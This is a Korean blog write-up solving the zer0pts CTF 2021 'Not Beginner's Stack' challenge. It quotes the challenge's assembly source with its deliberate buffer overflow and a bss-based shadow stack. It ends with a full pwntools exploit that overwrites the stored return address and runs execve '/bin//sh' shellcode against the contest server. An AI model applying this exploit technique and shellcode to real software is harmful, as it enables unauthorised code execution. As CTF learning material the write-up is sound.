CTF/Write UPs

[zer0pts CTF 2021] Not Beginner's Stack 풀이 (64bit, shellcode)

jir4vvit 2021. 3. 8. 00:40
문제 풀이 환경 : ubuntu 16.04
사용 툴 : IDA 7.5 pro

3/6 - 3/7 한국시간으로 오후 9시에 끝났다. 풀긴 풀었는데 대회시간 끝나고 풀어서 아쉽다. 아 오늘은 조금 특별하게 존댓말로 작성을 해보겠습니다.


젤 많이 푼 문제
description

문제 설명에 저렇게 적혀있는데 이거를 약 한시간 뒤에 알았습니다 ㅎㅎ; 암튼 단순히 return address를 덮는 문제가 아니라는 것이군요.

주어진 파일

주어진 파일은 이렇게 세개입니다. 소스코드! main.S가 주어집니다. 

 

Analysis

main.S

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt
  
section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024

 

대놓고 vuln 함수에서 bof가 터집니다. 

 

그리고 이쯤에서 주어진 md파일을 읽어봅시다. 

...
It doesn't save the return address on the stack but saves it into an array at the bss section.
Since we don't have the return address on the stack, the attacker can't abuse stack overflow to overwrite the return address :)
...

 

저 부분에 주목해서 해석을 해보면 대충 아래와 같습니다.

...
return address를 stack에 저장하지 않고 bss 영역에 저장합니다.
stack에 return address가 없으므로 공격자는 stack overflow를 사용하여 return address를 덮어쓸 수 없습니다.
...

 

그렇단 말은 bss 영역의 return address를 덮으란 소리입니다.

 

How to exploit

보호기법

보호기법은 클린합니다. NX disabled이므로 64bit 쉘코드를 이용해야겠다고 생각했습니다.

 

원하는 곳에 원하는 값을 적을 수 있습니까?

네, 그렇습니다. vuln 함수에서 0x100 + RBP 을 넣으면 [RBP-0x100]에 우리가 원하는 값을 적을 수 있습니다.

;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read

 

참고로 return address는 bss영역에서 __stack_shadow라는 이름이고, 주소값은 0x600234 입니다.

 

아래와 같이 return address들이 저기에 적혀있는 모습을 확인할 수 있습니다.

지금 저기 동그라미 친 곳은 vuln함수의 read함수가 되돌아갈 주소입니다. 

 

 

저 0x400165가 저장된 주소인 0x600234+8 에 쉘코드 주소를 넣어줘야 합니다.

그러면 0x400165 주소로 가지 않고 쉘코드 주소로 이동하여 쉘코드가 실행이 되겠지요.

 

끝났습니다.. 정리하면 아래와 같이 풀 것입니다.

 

Let's exploit

from pwn import *

#p = process('./chall')
p = remote('pwn.ctf.zer0pts.com', 9011)
e = ELF('./chall')

# 0x600234+8 

# bss = 0x600234
input = 0x600334 + 8
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = ''
payload += 'A' * 0x100
payload += p64(input) 

payload2 = ''
payload2 += p64(0x600244)
payload2 += shellcode 

pause()
p.sendafter(': ', payload) # vuln
p.sendafter(': ', payload2) # not vuln


p.interactive()

 

 

풀 때는 몰랐는데 풀고나니 쉬운 문제였습니다.ㅠ